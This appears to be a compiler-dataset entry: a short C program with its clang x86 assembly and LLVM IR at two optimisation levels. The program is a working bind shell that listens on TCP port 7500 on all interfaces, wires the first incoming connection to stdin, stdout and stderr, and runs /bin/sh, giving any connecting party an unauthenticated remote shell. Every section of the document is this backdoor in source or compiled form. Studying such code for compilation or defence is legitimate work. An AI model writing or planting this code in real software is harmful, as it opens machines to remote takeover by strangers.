#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ INADDR_ANY;
int /*<<< orphan*/ SOCK_STREAM;
int accept(int, int /*<<< orphan*/ *, int /*<<< orphan*/ *);
int /*<<< orphan*/ bind(int, struct sockaddr *, int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, char **, int /*<<< orphan*/ *);
int /*<<< orphan*/ htonl(int /*<<< orphan*/);
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ listen(int, int);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int main(void) {
  int fd, newfd;
  struct sockaddr_in server_addr;
  char *argv[] = {"/bin/sh", NULL};
  server_addr.sin_family = AF_INET;
  server_addr.sin_port = htons(7500);
  server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  fd = socket(AF_INET, SOCK_STREAM, 0);
  bind(fd, (struct sockaddr *)&server_addr, 16);
  listen(fd, 1);
  newfd = accept(fd, NULL, NULL);
  dup2(newfd, 0);
  dup2(newfd, 1);
  dup2(newfd, 2);
  execve(argv[0], &argv[0], NULL);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
movl   $0x0,-0x4(%rbp)
mov    0x2c5a(%rip),%rax
mov    %rax,-0x30(%rbp)
mov    0x2c57(%rip),%rax
mov    %rax,-0x28(%rbp)
mov    0x2e34(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x10(%rbp)
mov    $0x1d4c,%edi
call   1030 <htons@plt>
mov    %eax,-0x14(%rbp)
mov    0x2e13(%rip),%rax
mov    (%rax),%edi
call   1050 <htonl@plt>
mov    %eax,-0x18(%rbp)
mov    0x2e0a(%rip),%rax
mov    (%rax),%edi
mov    0x2de9(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10a0 <socket@plt>
mov    %eax,-0x8(%rbp)
mov    -0x8(%rbp),%edi
lea    -0x18(%rbp),%rsi
mov    $0x10,%edx
call   1080 <bind@plt>
mov    -0x8(%rbp),%edi
mov    $0x1,%esi
call   1070 <listen@plt>
mov    -0x8(%rbp),%edi
xor    %eax,%eax
mov    %eax,%edx
mov    %rdx,%rsi
call   1090 <accept@plt>
mov    %eax,-0xc(%rbp)
mov    -0xc(%rbp),%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    -0xc(%rbp),%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    -0xc(%rbp),%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
mov    -0x30(%rbp),%rdi
lea    -0x30(%rbp),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   1060 <execve@plt>
xor    %eax,%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbx
sub    $0x20,%rsp
movaps 0x2c64(%rip),%xmm0
movaps %xmm0,0x10(%rsp)
mov    0x2e48(%rip),%rbx
mov    (%rbx),%eax
mov    %eax,0x8(%rsp)
mov    $0x1d4c,%edi
call   1030 <htons@plt>
mov    %eax,0x4(%rsp)
mov    0x2e25(%rip),%rax
mov    (%rax),%edi
call   1050 <htonl@plt>
mov    %eax,(%rsp)
mov    (%rbx),%edi
mov    0x2e02(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10a0 <socket@plt>
mov    %eax,%ebx
mov    %rsp,%rsi
mov    %eax,%edi
mov    $0x10,%edx
call   1080 <bind@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1070 <listen@plt>
mov    %ebx,%edi
xor    %esi,%esi
xor    %edx,%edx
call   1090 <accept@plt>
mov    %eax,%ebx
mov    %eax,%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xddf(%rip),%rdi
lea    0x10(%rsp),%rsi
xor    %edx,%edx
call   1060 <execve@plt>
xor    %eax,%eax
add    $0x20,%rsp
pop    %rbx
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [8 x i8] c"/bin/sh\00"
@__const.main.argv = [2 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* null]
@AF_INET = global i32 0
@INADDR_ANY = global i32 0
@SOCK_STREAM = global i32 0
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
%4 = alloca %struct.sockaddr_in
%5 = alloca [2 x i8*]
store i32 0, i32* %1
%6 = bitcast [2 x i8*]* %5 to i8*
%7 = load i32, i32* @AF_INET
%8 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i32 0, i32 2
store i32 %7, i32* %8
%9 = call i32 @htons(i32 7500)
%10 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i32 0, i32 1
store i32 %9, i32* %10
%11 = load i32, i32* @INADDR_ANY
%12 = call i32 @htonl(i32 %11)
%13 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i32 0, i32 0
%14 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %13, i32 0, i32 0
store i32 %12, i32* %14
%15 = load i32, i32* @AF_INET
%16 = load i32, i32* @SOCK_STREAM
%17 = call i32 @socket(i32 %15, i32 %16, i32 0)
store i32 %17, i32* %2
%18 = load i32, i32* %2
%19 = bitcast %struct.sockaddr_in* %4 to %struct.sockaddr*
%20 = call i32 @bind(i32 %18, %struct.sockaddr* %19, i32 16)
%21 = load i32, i32* %2
%22 = call i32 @listen(i32 %21, i32 1)
%23 = load i32, i32* %2
%24 = call i32 @accept(i32 %23, i32* null, i32* null)
store i32 %24, i32* %3
%25 = load i32, i32* %3
%26 = call i32 @dup2(i32 %25, i32 0)
%27 = load i32, i32* %3
%28 = call i32 @dup2(i32 %27, i32 1)
%29 = load i32, i32* %3
%30 = call i32 @dup2(i32 %29, i32 2)
%31 = getelementptr inbounds [2 x i8*], [2 x i8*]* %5, i64 0, i64 0
%32 = load i8*, i8** %31
%33 = getelementptr inbounds [2 x i8*], [2 x i8*]* %5, i64 0, i64 0
%34 = call i32 @execve(i8* %32, i8** %33, i32* null)
ret i32 0
}

LLVM IR (-O2):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [8 x i8] c"/bin/sh\00"
@__const.main.argv = [2 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* null]
@AF_INET = global i32 0
@INADDR_ANY = global i32 0
@SOCK_STREAM = global i32 0
define i32 @main() {
%1 = alloca %struct.sockaddr_in
%2 = alloca [2 x i8*]
%3 = bitcast %struct.sockaddr_in* %1 to i8*
%4 = bitcast [2 x i8*]* %2 to i8*
%5 = load i32, i32* @AF_INET
%6 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 2
store i32 %5, i32* %6
%7 = tail call i32 @htons(i32 7500)
%8 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 1
store i32 %7, i32* %8
%9 = load i32, i32* @INADDR_ANY
%10 = tail call i32 @htonl(i32 %9)
%11 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 0, i32 0
store i32 %10, i32* %11
%12 = load i32, i32* @AF_INET
%13 = load i32, i32* @SOCK_STREAM
%14 = tail call i32 @socket(i32 %12, i32 %13, i32 0)
%15 = bitcast %struct.sockaddr_in* %1 to %struct.sockaddr*
%16 = call i32 @bind(i32 %14, %struct.sockaddr* %15, i32 16)
%17 = call i32 @listen(i32 %14, i32 1)
%18 = call i32 @accept(i32 %14, i32* null, i32* null)
%19 = call i32 @dup2(i32 %18, i32 0)
%20 = call i32 @dup2(i32 %18, i32 1)
%21 = call i32 @dup2(i32 %18, i32 2)
%22 = getelementptr inbounds [2 x i8*], [2 x i8*]* %2, i64 0, i64 0
%23 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i8** %22, i32* null)
ret i32 0
}